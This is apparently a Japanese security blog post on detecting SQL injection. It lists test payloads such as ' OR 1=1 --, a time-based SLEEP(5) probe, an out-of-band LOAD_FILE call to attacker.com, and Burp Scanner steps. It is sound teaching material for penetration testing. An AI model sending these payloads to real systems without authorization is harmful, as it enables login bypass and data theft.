Shikata Ga Nai

Private? There is no such things.

SQLインジェクションの検出方法

Hello there, ('ω')ノ

SQLインジェクション(SQLi)を検出するには、アプリケーションのすべての入力ポイントに対して系統的なテストを行うのが一般的です。以下の方法を用いて、脆弱性があるかどうかを確認できます。

1. シングルクォート(')を使用する

シンプルな方法として、入力フィールドに シングルクォート(') を入力し、エラーや異常な挙動が発生するかを確認します。

例:
- 入力: '
- 期待される挙動(脆弱な場合):
- SQL syntax errorUnclosed quotation mark などのデータベースエラーメッセージが表示される
- 500エラーなど、予期しないエラーが発生する

このテストにより、SQLクエリの構文が破壊されることで、アプリケーションが適切にエスケープ処理を行っていないことを確認できます。


2. SQLの特定の構文を利用したテスト

アプリケーションが入力値をそのままSQLクエリに挿入しているかを確認するために、以下のようなペイロードを試します。

元の値を維持するペイロード

' OR '1'='1

この入力が適用されると、SQLクエリの結果が変更されるかどうかを確認できます。

異なる値を返すペイロード

' OR '1'='2

もし OR '1'='1 で結果が変わり、OR '1'='2 で変わらない場合、SQLインジェクションの可能性が高いと判断できます。


3. ブールベースのSQLインジェクション

OR 1=1(常に真)と OR 1=2(常に偽)を試し、レスポンスの違いを確認します。

例:

' OR 1=1 -- 
  • もしこれを入力したときにログインが成功する場合、SQLインジェクションの可能性が高い。
' OR 1=2 -- 
  • これを入力してログインが失敗する場合、アプリケーションがSQLの結果によって動作を変えている可能性がある。

4. 時間差を利用したSQLインジェクション(Time-based SQLi)

SQLクエリ内で SLEEP() 関数を使用し、アプリケーションの応答時間が遅延するかどうかを確認します。

例:

' OR SLEEP(5) -- 
  • もしこのペイロードを送信した後、5秒後にレスポンスが返ってくる 場合、SQLインジェクションの可能性がある。

5. OAST(Out-of-band Application Security Testing)を利用する

OASTを使用すると、データベースが外部サーバーにリクエストを送信するかどうかをテストできます。たとえば、攻撃者がコントロールするサーバーにDNSクエリを送信するペイロードを試します。

例:

' UNION SELECT LOAD_FILE('//attacker.com/payload') -- 

もしサーバーが attacker.com に対してリクエストを送る場合、SQLインジェクションが可能であることが確認できます。


6. Burp Scannerを活用する

手動でテストを行うのは効果的ですが、大規模なアプリケーションでは自動スキャンツールを活用すると効率的です。Burp SuiteBurp Scanner を使用すれば、SQLインジェクションの脆弱性を迅速かつ確実に検出できます。

Burp Scannerの手順

  1. Burp Suiteを起動 し、ターゲットのアプリケーションをプロキシ経由で開く
  2. "Target" タブで対象のエンドポイントを選択
  3. "Scanner" を実行し、SQLインジェクションの脆弱性をスキャン
  4. 結果を確認し、手動で詳細な検証を行う

まとめ

SQLインジェクションを検出するには、以下のような方法が有効です。

✅ シングルクォート(')を入力し、エラーを確認する
OR 1=1OR 1=2 を使い、レスポンスの違いを確認する
SLEEP(5) を試して、時間差を測定する
✅ OASTを使い、外部ネットワーク通信を確認する
✅ Burp Scannerを活用して自動検出する

特に、ブールベースのテスト時間差を利用した攻撃 は、エラーメッセージが非表示の環境でもSQLインジェクションを見つける強力な手法です。

Best regards, (^^ゞ